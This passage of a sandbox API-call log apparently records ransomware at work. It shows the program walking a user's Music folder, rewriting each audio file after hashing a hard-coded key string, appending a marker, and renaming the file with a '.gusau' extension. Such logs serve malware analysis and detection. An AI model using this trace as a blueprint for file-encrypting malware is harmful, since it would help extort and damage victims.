hHeap=0xd10000) returned 1 [0117.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FiSO1uvHs5.wav") returned=".wav" [0117.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FiSO1uvHs5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fiso1uvhs5.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.379] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=7710) returned 1 [0117.379] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.381] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1df8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.381] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.383] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.383] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1e1e, lpOverlapped=0x0) returned 1 [0117.383] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.383] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.383] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.383] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.384] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.384] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.384] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.384] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.384] GetLastError () returned 0x0 [0117.384] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.384] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1e20) returned 0x39f9f20 [0117.384] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.385] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1e19, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1e19, lpOverlapped=0x0) returned 1 [0117.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.385] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1e1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.385] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.385] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.385] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.385] CloseHandle (hObject=0x610) returned 1 [0117.386] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.386] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.386] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.386] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FiSO1uvHs5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fiso1uvhs5.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FiSO1uvHs5.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fiso1uvhs5.wav.gusau")) returned 1 [0117.387] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.387] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.388] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0e4350, ftCreationTime.dwHighDateTime=0x1d4d545, ftLastAccessTime.dwLowDateTime=0xb4eb1600, ftLastAccessTime.dwHighDateTime=0x1d4c927, ftLastWriteTime.dwLowDateTime=0xb4eb1600, ftLastWriteTime.dwHighDateTime=0x1d4c927, nFileSizeHigh=0x0, nFileSizeLow=0x4015, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fQh6.wav", cAlternateFileName="")) returned 1 [0117.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.388] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.388] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fQh6.wav") returned=".wav" [0117.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fQh6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqh6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.389] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=16405) returned 1 [0117.389] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.391] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3fef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.391] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.399] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.399] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.399] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.399] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x4015, lpOverlapped=0x0) returned 1 [0117.400] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.400] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.400] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.400] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.400] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.401] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.401] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.401] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.401] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.401] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.401] GetLastError () returned 0x0 [0117.401] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.401] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.401] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.401] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4020) returned 0x39f9f20 [0117.401] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.401] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.401] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x4010, lpOverlapped=0x0) returned 1 [0117.401] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.401] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4015, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.401] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.401] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.402] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.402] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.402] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.402] CloseHandle (hObject=0x610) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5430 [0117.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.403] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fQh6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqh6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fQh6.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqh6.wav.gusau")) returned 1 [0117.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.403] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.404] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.404] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed98bcc0, ftCreationTime.dwHighDateTime=0x1d4ccf9, ftLastAccessTime.dwLowDateTime=0xb6648650, ftLastAccessTime.dwHighDateTime=0x1d4d4fe, ftLastWriteTime.dwLowDateTime=0xb6648650, ftLastWriteTime.dwHighDateTime=0x1d4d4fe, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g9mcoi9dYhMEy.m4a", cAlternateFileName="G9MCOI~1.M4A")) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.404] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.404] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.404] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\g9mcoi9dYhMEy.m4a") returned=".m4a" [0117.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\g9mcoi9dYhMEy.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\g9mcoi9dyhmey.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.405] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=73624) returned 1 [0117.405] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.408] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11f72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.408] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.409] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.409] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11f98, lpOverlapped=0x0) returned 1 [0117.410] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.410] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.410] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.410] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.411] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.411] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.411] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.411] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.411] GetLastError () returned 0x0 [0117.411] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.411] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11fa0) returned 0x39f9f20 [0117.412] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.412] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11f93, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11f93, lpOverlapped=0x0) returned 1 [0117.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.412] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11f98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.412] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.413] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.413] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.413] CloseHandle (hObject=0x610) returned 1 [0117.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.414] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\g9mcoi9dYhMEy.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\g9mcoi9dyhmey.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\g9mcoi9dYhMEy.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\g9mcoi9dyhmey.m4a.gusau")) returned 1 [0117.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.414] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.415] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c2b2e10, ftCreationTime.dwHighDateTime=0x1d4cca7, ftLastAccessTime.dwLowDateTime=0xe3b85f50, ftLastAccessTime.dwHighDateTime=0x1d4ca81, ftLastWriteTime.dwLowDateTime=0xe3b85f50, ftLastWriteTime.dwHighDateTime=0x1d4ca81, nFileSizeHigh=0x0, nFileSizeLow=0x1882f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H94nos6VqWF8Oqje.m4a", cAlternateFileName="H94NOS~1.M4A")) returned 1 [0117.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.415] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H94nos6VqWF8Oqje.m4a") returned=".m4a" [0117.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H94nos6VqWF8Oqje.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h94nos6vqwf8oqje.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.417] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=100399) returned 1 [0117.417] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.419] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18809, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.419] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.420] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.420] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1882f, lpOverlapped=0x0) returned 1 [0117.421] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.421] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.422] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.422] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.422] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.422] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.422] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.422] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, 